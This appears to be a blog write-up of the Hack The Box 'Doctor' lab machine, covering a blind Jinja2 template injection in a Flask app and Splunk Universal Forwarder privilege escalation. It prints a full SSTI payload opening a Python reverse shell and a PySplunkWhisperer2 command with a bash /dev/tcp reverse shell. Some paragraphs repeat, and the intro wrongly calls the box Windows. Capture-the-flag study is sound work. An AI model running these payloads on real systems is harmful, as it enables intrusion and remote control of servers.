Hack The Box — Doctor Writeup

Fahmi J
7 min readFeb 6, 2021

--

Doctor is an easy difficulty Windows machine that features a Flask web application which is vulnerable to blind Server-Side Template Injection. I’m able to gain a foothold using the SSTI vulnerability. Enumerating on the Apache log files discovers a user’s password. The user credentials are work on the Splunk Universal Forwarder service, which can be exploited to gain root access using PySplunkWhisperer2.

Reconnaissance

Nmap

An initial scans discovers three open ports: SSH on port 22, HTTP server on port 80, and a Splunk daemon on port 8089 backed with HTTPS.

mkdir nmap; nmap -sC -sV -oN nmap/initial-doctor '10.10.10.209'

Enumeration

TCP 80 — Website

This page shows a kind of health service website called “Doctor” in the title.

:: Gobuster

URL brute force with gobuster didn't find any interesting results.

TCP 80 — doctors.htb

Because adding a machine name with “.htb” as TLD to /etc/hosts file has become my habit (i.e doctor.htb), so at first, on the homepage, I didn't notice that there is an additional "s" on info@doctors.htb.

Once I added doctors.htb to my /etc/hosts file, I refreshed the page with that hostname, and it presented a different web application.

In the page source, I found a comment telling that the archive feature is still in beta testing.

I’ll note that /archive.

:: Gobuster

I ran another gobuster scan, but it seems I’ll just register an account this time.

My account is only available for 20 minutes.

The “1” icon was actually a page number with URL of http://doctors.htb/home?page=1.

TCP 8089 — Splunk Universal Forwarder

Seems we need an account here, but before doing some investigation, I’ll run another gobuster scan in the background.

Please just let me in

In the page source, I found a disabled line code (commented) telling that the archive feature is still in beta testing. Let’s note it.

gobuster has just finished the scan with nothing really interesting part, so I’ll continue by registering an account.

The registered account is only available for 20 minutes.

After I logged in, the home page displays a blank page. The “1” icon was actually a page number that contains this url http://doctors.htb/home?page=1

TCP 8089 — Splunk Universal Forwarder

I can visit the Splunk UF on port 8089 through the browser after adding HTTPS to the URL and accepting the SSL certificate warning.

At the top, I can see the Splunk version.

On the top of the page, I can see the Splunk version.

:: Finding vulnerability

Knowing the Splunk version, I did a quick search on Google to look for available exploits, and I came across hackbooktriks.xyz page.

The original research was published in here:

But it requires credentials. I’ll just add this to my to do list.

Foothold

SQL Injection (failed)

I can create a post message on doctors.htb by visiting http://doctors.htb/post/new.

I fed the request to SQLMap, but it doesn't seem injectable.

And then I looked into Wapplyzer — a web plugin that can be used to identify the technology stacks behind a website — , and it shows doctors.htb uses Flask as its backend.

Server Side Template Injection

Web applications that use Python Flask are typically run with a templating engine such as Jinja. On every templating engine, SSTI can occur when an un-sanitized user input is passed directly into the application templating process.

PwnFunction’s video on SSTI was very informative.

TryHackMe also has a room called “Flask” that contains an example of SSTI attack on Flask. I have completed that room, and the note is available on my GitHub.

Here is the methodology to detect SSTI (taken from PayloadAllTheThings — SSTI):

http://doctors.htb/home?page=1 is the first attack surface to target. I used a tool called Tplmap.py to automatically detect SSTI, but no luck.

The second attack surface is http://doctors.htb/post/new, which allows me to create a post message. It consists of two input vectors: the title and the content/message.

I copied the basic SSTI payloads for Jinja2 from PayloadAllTheThings to the post content, but it doesn’t return the expected result.

It returns nothing as well when I submit the payloads on the title.

After hours trying to figure out why it doesn’t work, I noticed that the /archive page occasionally returns an error after I put some payload that has the percentage symbol {% payload %} on the content/message section.

Or sometimes it only has the post title that can be seen only from page source.

So from there, I submitted the basic payloads on the title.

Right after inserting the payload, I checked the page source of /archive, and I found the SSTI expected result there.

Reverse Shell

The cheat-sheet from PayloadAllTheThings also contains a pre-crafted payload to get a reverse shell. All I have to do now is replace the IP address with mine and have my nc listener listening on the port I specified.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.4\",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")}}{%endif%}{% endfor %}

I have an interactive shell now.

Privilege Escalation

Internal Enumeration

These are the users who a shell.

Because web is a member of the adm group, I can read the log files at /var/log.

While enumerating files with find command, I caught an Apache2 log called "backup".

Searching string “pass” on the backup log finds this line.

It printed as email=Guitar123, but it doesn't look like an email.

Web → shaun

It turns out that Guitar123 is shaun's password.

User flag is done here.

Exploiting Splunk with PySplunkWhisperer2

Recall the Splunk Forwarder, which by BookHackTrick is categorized as a privilege escalation vector.

The researcher stated that the Splunk UF agent’s username is always admin.

“Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The username is always admin, and the password default used to be changeme until 2016 …”
(taken from source)

But it seems that’s not always the case, because on this machine I can use shaun:Guitar123 to authenticate to the Splunk UF services on port 8089.

I tried this PoC from GitHub using the bash reverse shell as payload.

python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1'" --lhost 10.10.14.3

and it worked smoothly.

I can grab the root flag.

--

--

Fahmi J

Just curious to learn how things work, especially in digital world.